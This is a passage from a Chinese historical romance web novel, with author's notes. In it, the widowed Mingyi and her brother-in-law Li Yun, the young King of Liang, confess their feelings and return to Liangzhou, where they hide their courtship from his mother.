“你一向做事有分寸, 为何今晚会离开营地?” “我见阿兄没回来, 又听到雪崩声,怕你们出事,就想着去看看情况。” “营地二十多人, 派一半出去就行, 你自己出去做何?” 明宜急道:“我没多想, 就是怕阿兄出事。如今北狄南侵在即,若是在此出了事,河西怎么办?” 李赟接着火光,自上而下望向她, 问道:“当真只是因为怕我出事,河西不保?” 明宜一时哑然,这自然是最重要的原因, 但只是如此么? 她忽然就回答不上来。 实际上,刚刚听到雪崩声,她担心李赟出事,却第一时间并不是想到,他出事了,大局会如何? 而只是单纯害怕他出事,只是因为他这个人。 明宜望向对上炙热的目光,像是被烫到一样,又飞快垂下眸子。 她本能想要将自己这微妙情绪压下去,然后像往常一样笃定地说出答案,但嘴唇嚅嗫了下,到底还是放弃。 方才度日如年的等待,轰隆的雪崩声,还有凶狠的狼群,劫后余生的如释重负。 虽然前后也不过一个多时辰,但却让她认清了自己的本心——即使她还不太想承认。 却也做不出违背本心,自欺欺人的事。 她许久没有开口,而李赟也一直望着她。 在车外呼啸夜风的衬托下,一时无言的车厢内,便显得格外静谧。 良久之后,李赟怅然般叹息一声:“罢了,我不逼你。” 不料他话音刚落,明宜却抬起眼眸看向他,又主动握住他的手,低声道:“阿兄……我对你是有心的,只是……” 她话还没说话,便见李赟双眼一亮,亟不可待打断她:“我知道你的顾虑,阿玉才过世三个月多月,哪怕我口口声声说不屑礼教,也知不可能现在就娶你过门。但只要你对我有心,我可以等,你要是觉得一年不够,那我就等三年。” 明宜失笑:“大宁又不是不许女子再嫁,也没有守孝三年的规定,阿玉先前也一直让我早些再寻良人。只是我们身份到底特殊,且不说旁人,母亲那边又如何交代?” 李赟却似没听到她后面的话,只弯唇笑道:“这么说三娘是答应做我的王妃了?” 明宜松开他的手:“谁答应了?” 李赟又赶紧将她的攥在掌中:“反正我就当你答应了,其他的事交给我就行。”顿了下,又道,“如果明年能顺利灭掉北狄,我便能去京中面圣,趁着为众人请功之事,正好请求陛下为我们指婚。” 明宜迟疑道:“这能行吗?” “有何不行?只要我如实呈请三娘的功劳,陛下定觉得你我乃是天作之合。” “又瞎说。”明宜嗔道,“再者,打仗是你的事,我又不能去上战场,我能有什么功劳?” 李赟笑道:“这回能顺利募兵买马,三娘便功不可没,光是这些,都已足以。” 明宜道:“这些小事便不要说了。况且,明年这场硬仗还不知如何呢?” 李赟道:“为了能光明正大求娶三娘,我也定会灭了北狄。” 明宜失笑:“你最好说到做到。” 李赟望着她渐渐由白转红的脸颊,道:“你起初见到我,是不是以为我跟坊间传闻一样,是个冷血无情的煞神?” 明宜故意道:“难道你现在不是么?”见对方脸色微微僵住,又笑道,“我一开始见你确实有些忌惮,尤其是在永安园……” 说着试探地看了看他。 “我在永安园让楚飞杀死表哥,你在外面瞧见了吧?” 明宜点头:“嗯。” “那时是不是被吓到了?” 明宜想了想:“其实也还好,毕竟传闻中的小凉王就是这种人。我比较意外的是楚飞,看着挺憨厚,怎么敢在佛堂杀人?” 李赟道:“我虽不信佛,却也敬神佛。在佛堂杀掉表哥,乃是因为那佛堂乃是祖父所建,祖父定会认可我的做法,所以我选择在佛堂杀了他。” 顿了下,又轻咳一声,“毕竟我们李氏入大宁不过几十年,族中还未有祠堂。” 原来如此。 明宜轻笑出声:“我还以为小凉王是挑衅佛祖呢!” 李赟怔了下,哭笑不得。 明宜想到什么似的,又问:“为什么你放任传闻将你塑造成冷血无情的煞神?” 李赟不以为意地扯了下嘴角:“无妨,让人生畏,不是坏事。” 明宜道:“但这样,会让朝廷也忌惮你。” 李赟:“我问心无愧,何怕忌惮?无非是不给支援而已。河西屯兵多年,与西域这条商路日渐繁荣,已能自给自足,没什么可担心。” 明宜打趣道:“我看你确实如传闻中说的,刚愎自用。” 李赟望着她低笑:“三娘说得都对。” 明宜脸上一热,转过头将眼睛阖上:“你放开我,我要睡了。” “就睡在我腿上。” “你的腿不如毯子舒服。” 李赟想想也是,将她放下来,又将狐裘盖在她身上,问道:“有没有哪里不舒服?” 明宜摇头:“先前只是冻着了。”她又想到什么似的,“那商队没事吧?” 她刚刚只顾着李赟,也忘了商队的事。 “没事,十来个人都救了出来,这会儿应该在营帐休息了。” “那就好。只是这么冷的天,缘何夜晚还赶路?” “说是为了赶行程。”李赟叹息一声,“行商之人为了生计,也常常身不由己。” 明宜点点头,心道小凉王不仅不是冷血无情,实则还有一颗仁爱之心。 能与这样的人相知相守,是她人生之幸。 只是两人关系到底尴尬。 惠心公主倒是在李悆病逝之前便说过,待阿玉过世,会为她寻个好归宿。 那时她因着自己的打算,断然拒绝。 如今却与她不喜爱的长子结下缘分,也不知惠心公主会如何作想? 好在,眼下也不急,等灭了北狄,再慢慢打算。 这样想着,不知不觉便睡了过去。 李赟一直坐旁边,默默望着她。 他面上虽然不显,但心中却早已翻涌如潮。 活了二十多年,哪怕是打得最风光的一场仗,也没有这样欢喜过。 他甚至有点不敢相信,明宜竟是这般轻易就接受了他。 简直像是做梦一般。 以至于他恨不得马上与人拜天地入洞房,免得夜长梦多,让他空欢喜一场。 但也只是想一想,真叫他做出登徒子的事,他却是万万不愿意的。 不过…… 他目光落在明宜露在狐裘之外的半只手,轻轻握起来,准备塞进被中,但想了想,又攥在自己温暖的掌心中。 他轻轻摸索着这只与自己截然不同的手。 只觉得光滑柔软,越摸越爱不释手,以至于不由自主放在唇边,轻轻吻了吻。 两人已经心意相通,自己应该不算登徒子吧? 翌日醒来,天放了晴,与商队道别后,各自上了路。 说来也奇怪,原来这场大风雪,范围并不广,还没过甘州,地上便几乎没了积雪。 接下来的旅程,又开始顺利。 令明宜意外的是,她本以为自己表明了心思,小凉王会打蛇随棍上,得寸进尺。 没想到对方倒是忽然规规矩矩当起了君子,之后再没与她同过一辆车,在客栈下榻时,也不再来她房中。 总归白天休息时,还会来她车厢与她单独说会儿话,到了晚上,却断然不和她单独相处。 不过除此之外,一切正常,对她愈发关怀备至。 又过五六天,车队顺利进入凉州城。 听到外面喧杂热闹的声音,白芷差点喜极而泣:“娘子,咱们终于到了,我现在都不想长安,到了凉州城便心满意足。” 明宜掀开车帘,看了看外面繁荣的街道,也重重舒了口气。 作为长安之外,大宁西北第二城,能在此安居乐业,其实也不赖。 马车穿过两条大街,缓缓停下,是凉王府到了。 凉州城内外每隔几十米,便有城防兵,小凉王回来的消息,自然已提前传至府中。 荣伯带着乌泱泱一群人在大门口守着,一见马车停下来,立刻喜笑颜开上前迎接。 “王爷!二夫人!” 李赟先下了车,又走到明宜车旁,亲自打开帘子。 荣伯见两人都完好无损,重重舒了口气,堆着一脸笑道:“二夫人这一路辛苦了吧?外边天冷,赶紧进屋吧,公主正在厅堂等着你们呢!” 明宜和李赟俱是一愣:“公主?” 荣伯笑呵呵道:“王爷,是王妃回来了,还有长宁公主。” 惠心公主乃是嫡出的公主,父亲和一母同胞的兄长都是皇帝,因而这个公主比起异性王爷,地位实则更高,府中称呼她公主多过王妃。 八年未见的母亲回家,李赟本该是高兴的,但此时的他却没有任何激动,他看了眼同样蹙起眉头的明宜,不动声色拉了拉她的手,低声道:“没事,我们进去吧!” “嗯。” 可真是怕什么来什么。 到了门口时,明宜用只有两人听得到的声音,道:“阿兄,我们的事,先不要告诉母亲。” 李赟沉默点头—— 作者有话说:妈是一颗雷,不过妈不坏啦,妈是个好人,只是被儿子小时候吓到了,就敬而远之。 之前好像看到说这个妈不喜欢儿子不合逻辑,古代女的都是要依靠儿子啥的。 但有没有想过,妈一母同胞的亲哥是皇帝,古代也有很多女的依仗娘家,娘家利益大过夫家的。 第78章 第 77 章 我要做贼,那也是采花贼 “哎呦喂, 可算是到了。” 要说回到凉王府最开心的是谁,非齐王殿下周子炤莫属,那日明宜一行遇到狼群, 他正在营地睡得深沉, 叶六和两个凉王府侍卫留下来守着他。 及至隔天醒来,他才知道发生了这等大事。 这趟西行, 齐王殿下原本是想游历大好河山, 哪知河山没游历几个,倒是亲眼见识了世间险恶, 之后可谓是老老实实, 李赟没发话, 哪里也不敢去, 回程路上,更是老实本分得不像他平日作风, 以至于都没发现李赟和明宜之间微妙的变化。 “五兄——大表哥——三娘子——” 一行人才刚刚走进正院, 便听到厅堂里传来一道清灵的声音,紧接着一道身穿鹅黄长裙的身影,出现在门口。 此人正是大宁三公主长宁公主周月夕。 她生的十分俏丽, 此时正睁着一双乌沉沉的大眼睛, 瞧着几人。 “夕儿, 你怎么来了?”周子炤惊喜地迎上去。 周月夕轻哼一声,翘起嘴角道:“就许你来,不许我来?”说着又笑眯眯道,“是因为姑母要回凉州, 我怕她路上孤单,便陪她一起来了。” 说着便越过亲哥,小跑到李赟和明宜跟前, 一把将明宜抓住:“三娘,好久没见了,你可还好?” 因这这位公主与惠心公主很亲近,明宜与她不算陌生。 周月夕是在问明宜,眼睛却是看着旁边的李赟,兴奋的脸上,越发浮上几分激动的潮红。 她上一次见到大表哥已经是十年前,那时凉王世子已是俊美少年郎,只是自己才七八岁,并不太懂得欣赏男子的美。 及至慢慢长大,才后知后觉反应过来。 时隔十年再见,大表哥与记忆中模样有了很大变化,俊美中多了不怒自威的英气。 以至于待她走近看清人时,心跳不由自主加快。 不过长宁公主是何许人也? 乃是景明帝的掌上明珠,最受宠的公主,性子自然也最为张扬大胆。 一开始看着李赟的眼神还有些半遮半掩,很快便明目张胆。 明宜笑着回她:“我挺好的,公主这一路来,可还顺利?” “很顺利!”说着周月夕便松开她,走到李赟跟前,笑盈盈道,“哎呀大表哥,我们都十年不见了,我差点没认出来你!” 李赟客气地与她拱拱手:“三公主,好久不见!” 说着,便继续往里走。 周月夕跟在他身旁,继续叽叽喳喳,但李赟一句话都没听进去。 他满脑子都是屋中的那人。 明宜不动声色打量着他。 只见男人面容严肃,下颌紧绷,拳头攥紧了又松开。 “姑母——”周子炤已经率先跑进屋。 “五郎,你可还好?”惠心公主起身迎上来,她裹着一件貂绒领浅青色袄子,保养得宜的脸上,是温柔和煦的笑容。 周子炤笑道:“有表哥在,好得很。” 惠心公主笑着点点头,抬眸看向一前一后走过来的李赟和明宜。 “孩儿见过母亲!” 李赟上前一步,恭恭敬敬行了个大礼。 惠心公主望着面前高大英武的儿子,神色微微动容,伸手扶了扶他手,柔声道:“八年未见了,大郎快抬头,让娘亲好好瞧瞧。” 李赟双手微微一僵,将脸抬起来,目光落在母亲脸上。 惠心公主笑了笑,微微哽咽道:“我儿果然一表人才,这些年你一个人在凉州,辛苦了。” 李赟道:“镇守凉州乃是孩儿本分,不辛苦。” 惠心公主笑了笑,又看向明宜,相较于对儿子的客气,他脸上的微笑,便就由衷多了。 明宜走上前,与她行礼道:“三娘见过母亲。” 惠心公主热络地抓住她的手,语气有些急切道:“你送阿玉回凉州遇险的事,母亲已经听说了,幸而有惊无险,你都不晓得娘听到时,有多后怕。”不等明宜回应,又马不停蹄问,“你这一路可还顺利?有没有遇到什么危险?这天寒地冻,回来时吃了不少苦头吧?” 明宜笑道:“母亲不用担心,有阿兄在,我不会有危险的。”说着又问,“母亲是何时回的凉州?怎的会忽然回凉州?” 惠心公主道:“我想着阿玉在凉州长眠,我这个做娘的都没亲眼见到他的墓碑,到底还是放心不下,你们出发不到一个月,我们便从长安出发,两个月前便到了凉州。” 也就是他们刚刚离开凉州半个月,惠心公主便到了。 明宜看了眼李赟,对方眸中明显闪过一丝失落。 时隔八年,生母回凉州,不是看望他这个活着的长子,而是不放心已经过世的小儿子。 明宜心中也不禁为他感到难过,偏偏惠心公主性情柔善,别说是自己,就是李赟,只怕也没法怨恨母亲。 她勉强笑了笑:“母亲既然来了,为何不让人送信给阿兄和我?” 惠心公主道:“大郎是去整顿军务,为娘的不想让他分心,便没让人通知。” 明宜点点头,又道:“母亲回来住得可还习惯?” 惠心公主笑道:“我在凉州生活了二十年,没什么不习惯的?”说着,似乎这才又想起李赟,“大郎,娘已经让人安排晚膳,你们这一路舟车劳顿,吃过饭都早些休息。” “嗯,有劳母亲了。” 下人们打来热水,众人洗漱,热气腾腾的饭菜行云流水般上了桌。 明宜和周月夕坐在惠心公主两侧,李赟则坐在母亲对面。 “大郎,这一路你们都累着了,你快多吃些补补身子,这些年娘没在身边照顾你,也不知你过得到底怎样?”说着,惠心公主幽幽叹息一声,"我这母亲做得不够格。" 李赟轻笑道:“母亲离开时,孩儿已经十八,早能自己照顾自己。” 惠心公主点点头:“嗯,你从小独立,身子也好,又有本事,不像阿玉体弱多病,不然母亲也不会带着阿玉回长安。” “长安气候好过凉州,母亲与阿玉在长安长住,我也放心。” 母子俩说话,客气有余,亲近不足,全然比不上惠心公主对明宜和那对皇家兄妹。 不过这顿饭总体来说,气氛融洽。 吃过饭,几人便各自回了院中。 惠心公主许久未见明宜,自然是要与这个儿媳多说说话,便与她一并去了芙蓉苑。 屋中上了炭火,两人围炉而坐。 惠心公主拉着明宜的手:“三娘,这几个月,你在河西可有受什么委屈?” 明宜笑说:“虽然一路遇到了些危险,但若说委屈,实在没有。” 惠心公主犹疑了下,道:“你阿兄可曾有怠慢你?” 明宜微微一怔,不明所以问道:“母亲何出此言?” 惠心公主道:“你阿兄他从小性子便不好相与,待长大了些,身边人就没有不怕他的。”说到这里,顿了顿,“实不相瞒,我这个做娘的,都有些怕他。我知你与他去沙洲,乃是因为江寒受伤,无法返程,你又被那北狄贼人盯上,独自留在凉州不安全。我是怕以他那不近人情的性子,你跟在他身边,只怕会被怠慢受委屈。” 明宜轻笑了笑,握着对方的手:“母亲,你多虑了,阿兄对我照顾有加,没有让我受任何委屈。”斟酌了下,又继续道,“虽然母亲是阿兄生母,但只怕也与旁人一样,对阿兄有一些误解。他是小凉王,从小知道自己的责任,年纪轻轻便接手河西军,定是要做出些气势,拿出些手段,让人忌惮才行。母亲若是多花些心思在他身上,便知他并非不好相与,更没有不近人情。” 惠心公主微微一愣,继而又叹息道:“我的儿子我了解,他与阿玉就是不一样。” “龙生九子,各有所好。阿兄和阿禹虽然是亲兄弟,但两人身上责任不同,性子不同也正常。若是阿兄跟阿玉一样的性子,如何能镇守河西?” 惠心公主道:“大郎是大宁不可或缺的小凉王,是百姓敬仰的战将。但与阿玉比,却不是我这个母亲贴心的儿子。” 明宜心中苦笑,你又何曾给过长子贴心的机会? 小凉王乃是战将,莫非还想要他与阿玉一样,成日在你跟前撒娇? 明宜其实有些不懂,明明惠心公主是个良善之人,为何却不将这温柔多给自己的长子一些? 她想为李赟做点什么,但惠心公主对长子心存偏见多年,母子两人又八年未见,这其中的隔阂,只怕不是自己三言两语能化解的。 思及此,她问道:“母亲是打算长居凉州么?” 惠心公主笑着摇摇头:“还是长安的气候更适合我,何况我听说北狄变了天,只怕明天春夏便会南下侵犯,河西要起战事,我留在这里也不方便,等过完年,天气暖和了些,我便回长安,届时你与我一同回去。” 明宜没应她的话,只点点头:“北狄来犯,阿兄要领兵出征,母亲回长安确实方便些。” 虽然只有几个月,但也还有机会,扭转她对李赟的成见。 若是换做从前,看到惠心公主对李赟这般,她定不会多管闲事。 但如今,她却是不想再看到李赟内心受到委屈。 * 惠心公主在明宜院中待到酉时过了,才依依不舍离开,而那头的李赟因为这些时日,每晚睡前都会与明宜说上几句话,便一直在自己院中等着,终于等来母亲离开的消息,却又被忽然造访的长宁公主绊住脚步。 周月夕是个好奇心过剩的小娘子,拉着他问东问西,好不容易将人打发,他眼皮都开始打架。 但没见到明宜,他抓心挠肺一般难受,如何都不可能去睡的。 于是周月夕前脚一走,他便跟个飞贼一样,从自己院中悄咪咪蹿到了芙蓉苑。 这厢的明宜刚刚沐浴,正对镜梳妆,忽然听到窗户被人敲响。 白芷问道:“谁啊?” 李赟轻咳一声:“是我。” 白芷这几日已经看出两人情况。 她一向觉得自家娘子是天底下最好的娘子,那便该配天底下最厉害的郎君。 那这最厉害的郎君,除了小凉王还能有谁? 所以她对两人这段缘分可谓是乐见其成,只恨不得立马修成正果。 听到李赟的声音,白芷捂嘴轻笑了笑:“娘子,那我去旁边厢房候着了。” 白芷一出门,李赟便钻进屋内,还将门随手上了闩。 明宜见他这动作,噗嗤笑出声:“堂堂小凉王怎么跟做贼似的?” 李赟一面朝她走过去,一面笑道:“我要做贼,那也是采花贼。”—— 作者有话说:躲着家长谈恋爱的赶脚 第79章 第 78 章 天赐良缘 明宜脸上一热, 低低啐了口:“你何时学会说这些浑话来了!”说着又问他,“这么晚你来找我有事?” “没事就不能找你?”李赟走到她身后微微躬身,双手搭在她肩膀, 朝妆台上的铜镜瞧去, 笑说,“你看我们像不像一对璧人?” 明宜转过头, 看向镜中的两人。 烛火映照之下, 近在咫尺的两张脸,一个轮廓深刻却又秾丽, 一个柔美但也可见英气, 倒真有几分奇异的和谐。 明宜也不知想到什么, 噗嗤一笑:“我以为小凉王作为行军打仗之人, 是不在意容色的男子,看来也不全然是嘛!” 李赟道:“若是我生了一张罗刹的脸, 三娘可还会心悦我?” 明宜笑:“我才不会以貌取人。”顿了下, 又看着镜中人道,啧了声道,“不过小凉王确实很有几分姿色。” 李赟被她逗笑, 又随口问:“母亲与你说了些什么?” 明宜微微一怔, 转身看向他:“母亲对你的偏见, 是你因为你八岁那年提着北狄细作的人头,被她瞧见?” 李赟问:“她与说的?” “那倒没有,母亲从来不会与我说这些。” 李赟无奈一笑:“她是压根不与你提我吧?”说罢,又问, “既然不是她说的,你如何知道这事?” 明宜随口道:“你自己说的啊。” 李赟浓眉轻蹙:“我说的?我怎么不记得我与你说过这些?” 明宜轻咳一声:“就是那次你喝了三步倒后。” 李赟脸色微微一僵,迟疑道:“我醉酒后与你说了这个?”然后又忽然想到什么似的, 有些急切地问道,“除了这个,还有什么?” 明宜看他紧张,忍不住噗嗤笑道:“你怕什么?难不成有什么见不得人的事,不能让我知道?” 李赟讪讪道:“那倒没有。” “放心吧,你嘴巴严得很,只说了些家中琐事,我问你凉王府宝库在哪里?你都没告诉我。” 李赟见她这神色,自然知道她是说笑,旋即又想,两人之间,确实没什么不能说的,便也释然。 他沉吟片刻:“幼时祖父还在,因我是世子,三岁便被他亲自带在身边教养,与母亲相处不多。母亲是通情达理的人,明白我是未来的的凉王,对此并没有意见。后来阿玉出生,从小身子不好,母亲便将全部心思都花在他身上。原本我们母子只能算是不太亲近,但八岁那年,她看到我提着血淋淋的人头,当即就吓得病了一场,从此看我像看怪物一样,避而远之。” “但你其实一直渴望母亲的疼爱不是么?那为什么不主动去解释,消除母亲的成见?” 李赟自嘲一笑:“一个母亲对亲生儿子成见,解释又有何用?”说着又补充一句,“何况,我确实也不是阿玉那样的良善之人。” 明宜想说你没试过,如何知道没用? 但旋即想,由来只有做父母的对子女无条件维护,哪怕杀人放火恶贯满盈。 惠心公主这样的,世间实在少见,也不知是善良,还是心狠? 明宜昂头认真道:“我会让母亲改变想法的。” 李赟却是不以为意:“不重要,反正等暖和了,她便要回京城,我这么大个人,也早不需要母亲。”说着抬手摸了摸她的脸,勾唇一笑,“何况我如今有了王妃,其他人就更不重要了。” 明宜道:“母亲可不是其他人,再说,谁是你王妃?” 李赟笑:“反正迟早是。”他将她白皙干净的脸捧在手中,轻轻摸索着,手指仿佛自己有想法般,不由自主便碰上了那张饱满的红唇。 指腹温柔触感,让他喉头滑动了下,一时什么君子,什么礼数,全都抛之脑后,满脑子都是想要品尝这诱人的珍馐。 明宜见他一言不发朝自己俯下来,不由心如擂鼓。 她自然知道他要做何,原本自己应该躲开。然而看着对方越来越近的脸,她却像是着了魔一样,不仅不想躲开,还生出了一股渴望。 两张炙热的唇,终于贴在一起。 李赟开始只是试探着碰了碰,但这一碰便像是被磁石吸住,本能一般张嘴,紧紧含住对方温软的唇,用力舔舐吸吮。 那从未有过的美妙滋味,让他食髓知味一般,只恨不得吞入腹中。 明宜哪里受过这样的亲吻,唇舌被对方的濡湿灼热缠绕包裹,连呼吸也变得困难,心脏擂鼓一般,只差跳出来,浑身热得像是入了滚烫的沸水。 也不知亲了多久,明宜已是晕晕乎乎,早不知今夕何夕。 而李赟的手不知不觉往下,感觉到女人脖颈的一片滑腻,那手仿佛被这美好的触感所吸引,不自觉继续下探,就在触到微微起伏时。 外面忽然传来一道清脆的呼唤:“三娘子!” 是长宁公主。 屋中这对忘乎所以的男女,忽然惊醒一般,两张唇迅速分开,李赟的手也蓦地抽了出来。 因一时不防,两人虽然分开,站起身的李赟还是本能将明宜抱住,紧紧护在身前。 明宜靠在他腹部,重重喘息着,一时也忘了回应外面的人。 就在她终于回过神,准备开口时,白芷的声音忽然响起:“婢女拜见殿下,我们娘子已经歇息了,您有事么?我转告给她。” “哦,没有,就是路过这边,看到还亮着烛火,就想着过来和三娘子打个招呼。” “我家娘子怕黑,都是等烛火自己灭掉。” “是么?我没听说过三娘子怕黑啊!” “以前也没有,就是来凉州后,遇到了几次危险,便有了这个习惯。” “哦,那我走了,明日再来找她。” “公主殿下好走!” 想着怕黑的人另有其人,明宜捂嘴轻笑,抬头看向李赟。 李赟知道她想什么,不过他也不在意,反正对她也没什么好隐瞒。 现在他在意的是…… 他轻咳一声,将手松开,退开两步,讪讪道:“我回去了,你早点歇息。” 而在他退开之前,明宜也意识到了不对劲。 因她是靠在他的腹部,对于他身体的反应,再清楚不过。 她欲盖弥彰默摸摸发烫的耳朵:“嗯,你也是。”顿了下,又提醒道,“你收敛点,千万别让母亲发现,他本来就对你有成见,若是知道你我的事,只怕是……” “明白,我有分寸的。” 见他要走窗户,明宜赶紧道:“有门呢,还真当自己是贼了?” 说罢忍不住低笑出声。 李赟从善如流走到门口,又转头看她一眼,勾唇笑道:“今晚确实做了一回采花贼。” 说罢,不等明宜再啐他,已经拉开门,轻飘飘消失在夜色中。 明宜好笑地摇摇头,起身走到门口,朝院中道:“白芷,你可以进来了。” 白芷回道:“我以后就睡厢房了。”说着又补充一句,“免得打扰娘子的好事。” 明宜笑着斥道:“莫要乱说!” “我晓得的,我不仅会替娘子保密,还会好好站岗放哨。” 明宜失笑摇头,闩门回到屋内。 走到床上坐下,她下意识摸了下嘴唇,那上面还残留着男人侵略性极强的气息。 她又想起李赟那只深入自己衣内的手,那时她没有任何抗拒,甚至本能想要与他靠得更近。 她不得不承认,李赟唤醒了她身体中的某种渴望。 思及此,她搓了搓发烫的面颊。 不能再多想了,他们这样已经越界。虽说两人都不屑礼教那一套,到底身份在此,也不能太出格。 * 相较于的一夜好梦的明宜,这一晚的李赟可谓是备受折磨,被春梦纠缠了一宿,早上天没亮就在灼热中醒来,亵裤果然湿了一大片。 然而这火却显然一时半会儿消不下去,只能换上一身单衣,在寒冬的院中吭哧练功。 这一练,便练到了天光大亮,身上的单衣也被汗水湿了透。 “王爷,您这一回来就这么练?不怕身体吃不消啊!”楚飞早被吵醒,但听到呼呼的动静,没敢出来,怕像上次一样,被主子追着砍。 这会儿听到动静停歇,才摸出来关心道。 李赟长长舒了口气道:“火气大,得靠练功泄泄火。” “您上火了啊?那我让厨房给你弄点莲子汤什么的。” 李赟看他一眼,露出一脸的同情之色,摇摇头老神在在道:“莲子汤没用。” “啊?莲子汤都没用?那去找大夫开点什么药?” 李赟幽幽道:“罢了,你也不懂。” 说着收刀入鞘回了房中。 楚飞摸摸头,良久之后,忽然睁大眼睛,恍然大悟,然后捂着嘴贼兮兮跑了。 李赟洗了澡,换上衣服,准备先去看看明宜,再去母亲那边请安。 哪知刚踏进芙蓉苑,便见母亲挽着明宜从屋内走出来,两人笑靥盈盈,看起来倒像是一对亲密无间的母女。 见到他乍然出现,惠心公主先是微微一怔,然后才笑着客气道:“大郎,你怎么来了?” “孩儿给母亲问安。”李赟走上前揖了一礼,“奔波一路,初回府中,我来看看三娘有没有什么不习惯?” 明宜瞧着他,忍不住腹诽,早上你不先去给母亲请安,跑来我这里,这是怕别人发现不了么? 但腹诽归腹诽,心中却还是有些欢喜。 惠心公主笑道:“大郎有心了,三娘挺好的,我正叫她与我一起去用早膳,大郎也一起来吧。” “好。” 李赟走在母亲另一侧,目光不动声色越过对方,看向那头的明宜。 明宜悄悄瞪他一眼,用口型道:“你收敛点!” “对了三娘——”惠心公主想到什么似的,拍拍她的手,“我听五郎说,你之前在大马营舍身救了他一命,他对你如今是赞不绝口。我先前就说过,你能陪阿玉走完最后一程,我这个做母亲的就已经感激不尽,绝不会让你为阿玉守寡。这事儿我也与圣上说过,他也支持你寻得两人再嫁。你翻过年才也十九,正是大好年华,五郎也还未娶妻,他虽然是个闲散王爷,却也少了许多是非,正适合过日子。你们如今也算患过难,若是你愿意,等来年回了京城,我让圣上为你们做媒,五郎向来与我亲近,你成了齐王妃,也还能时常来看我。” 明宜目瞪口呆。 她知道惠心公主是希望她有个好归宿,但没想到她会想到这么荒唐的拉郎配! 她还没说话,那边的李赟已经忍不住先沉声道:“不行!” 惠心公主蹙眉看向他,有些不悦道:“大郎,你莫非觉得三娘该为阿玉守寡?” “当然不是!”李赟轻咳一声,放缓语气,“我是觉得五郎不是三娘的良人。” 惠心公主闻言面色稍霁,点点头道:“我也只是随口一说,一切还是要看三娘自己的心意。三娘,你对齐王有何想法?” 明宜眼下不好像从前那样坚定地说自己不会再嫁,只能无奈一笑:“母亲,我对齐王殿下没有半点心思。” “如今阿玉过世不过三个月,你自然不会想这些,等时间长点再看吧。” “不管过多久,齐王殿下也不是我想要的如意郎君。” 惠心公主叹了口气:“我知三娘天资聪慧,而五郎又确实草包了些,你瞧不上他倒也正常。” “三娘不敢!” “这是凉王府,没什么不能说的。”惠心公主笑道,“我知三娘你喜欢的是阿玉那般心性聪敏性情温柔的郎君,但这天底下哪里有第二个阿玉?” 说罢,惆怅般叹了口气,显然是又想起了早逝的爱子。 明宜瞧了眼李赟,只见他神色莫测,也不知在想着什么。 她想了想,道:“母亲不用为我的事操心,虽然这世上没有第二个阿玉,但若当真天赐良缘,我也不会拒绝。” 惠心公主一听,顿时喜笑颜开,拍着她的手道:“你能这样想,母亲很欣慰。” 明宜不动声色看向李赟,只见对方嘴角微微翘起。 显然是自动认领了她口中的“天赐良缘”—— 作者有话说:齐王:俺地个亲娘,我就是个打酱油的啊! 第80章 第 79 章 看来这秦七郎,也是老凉…… 到了惠心公主的长安苑, 周月夕和周子炤已坐在桌上,显然是惠心公主叫人去请了两人一起用膳。 独独没有叫李赟。 思及此,明宜不动声色瞧了眼那一头的男人, 只见他神色淡然, 显然并不以为意。 “三娘子,昨晚我去找你, 你睡下了!”周月夕跑过来叽叽喳喳道。 明宜轻咳一声, 笑着问:“公主是找我有事么?” “没有啊,就是从表兄那里回去路过你的院子。”周月夕笑眯眯摇头, 又看向李赟, “表兄, 之前我想去骑马, 姑母不放心,如今你回来了, 可以带我去你的马场么?” 周子炤笑呵呵走上来:“有你五兄在, 麻烦表兄作何?你想骑马,我今日就带你去!” “你的骑术我又不是不知,我是想要表兄给我指点指点!” 惠心公主见周月夕对自家长子没有任何畏惧, 不由笑道:“既是如此, 大郎若是得闲, 就带月夕去马场转转,她性子跳脱,难得出来一趟,就由着她好好玩一玩。” 李赟道:“如今凉州天寒地冻, 骑马太冷,只怕表妹受不住。” “也是!府中有火炕,有炭盆, 我倒是忘了外头多冷。”惠心公主仿佛这才反应过来,又笑着对周月夕道,“月夕,那就等明年开春后暖和了,再让你表兄带你去。“ “好吧。”周月夕撇撇嘴,“凉州确实比长安更冷一些。” 几人进了屋。 惠心公主吃的简单,却给几个孩子准备得颇为丰盛。 李赟拿了一颗水煮鸡蛋,仔细剥得干干净净,而后下意识便伸手要放在明宜面前的小碟中。 明宜心里一惊,赶紧轻咳一声提醒。 李赟微微一怔,反应倒也很快,原本已经到明宜跟前的手,忽然就转了个弯,将手中鸡蛋放在了惠心公主的碟中:“母亲,您吃!” 惠心公主面上露出一丝愕然。 在她的记忆中,自己这个长子,虽然讲礼仪规矩,却从没有这般人情味儿。 以至于她片刻才反应过来,有些讪讪地笑了笑道:“大郎有心了。” 李赟:“这是孩儿本分。” 紧接着他又连剥三颗蛋,一一递给剩下三人,而且还欲盖弥彰一般将明宜放在最后。 周子炤简直受宠若惊,将整颗鸡蛋塞入口中,含混道:“表兄,我何德何能,能吃到你亲自剥的鸡蛋?” 李赟道:“赶紧吃你的吧,鸡蛋都堵不住你那张嘴。” 周子炤嘿嘿地笑。 惠心公主不动声色打量了下两人,轻笑道:“这些年未见,大郎性子倒是变了些。” 周子炤猛灌了一口茶水,将噎在喉咙的鸡蛋咽下去,道:“姑母,表兄就是看着冷了些,对我们都很照顾的,不然我也在他身边待不了这么久。” 惠心公主笑了笑:“行了,好好吃饭吧,你瞧瞧你,半点皇子的样子没有。” 周子炤嘿嘿地笑,这姑侄俩看起来倒是比李赟母子亲近。 明宜慢条斯理吃着鸡蛋,不动声色瞧了眼李赟,对方那双灰眸也正好朝她看过来。 她微微瞪他一眼,他则挑挑眉头。 两人就这样你来我往,旁若无人打了一场眉眼官司。 当然,桌上几人自然不会发现这无声无息的微妙。 周月夕又想到什么似的,道:“表兄,最近去不了马场,这凉州城还有什么玩的么?” 李赟想了想,道:“永安园的梅花应该开了,趁着眼下没有大雪,倒是可以去赏赏梅,泡泡温泉。” 惠心公主道:“先前去祭拜阿玉之后,见天气冷了,便没再上山,我倒是忘了这茬。” 李赟道:“那等我忙完这两日庶务,便带母亲和几位弟弟妹妹去永安园小住几日。” “好,那就有劳大郎了。你这刚回来,只怕庶务繁多,你先忙你的,等得了闲再带我们去。” 李赟点头:“嗯。” 周月夕见李赟陪不了自己,便又问明宜:“三娘子,表兄回来要忙,那你今日陪我去逛逛街市可好?” “好啊。” 惠心公主笑盈盈道:“凉州民风开化,你们年轻人多出去玩玩是好事,不过要注意安全。” “姑母放心,这里可是表兄的地盘,谁吃了熊心豹子胆敢动本公主?” 惠心公主道:“总归还是要当心。”说着又看向明宜,“月夕一向不知天高地厚,三娘你性子稳重,多看着点她。” “母亲,我会的。” 周月夕不以为意地摆摆手:“姑母你就是喜欢瞎操心。” 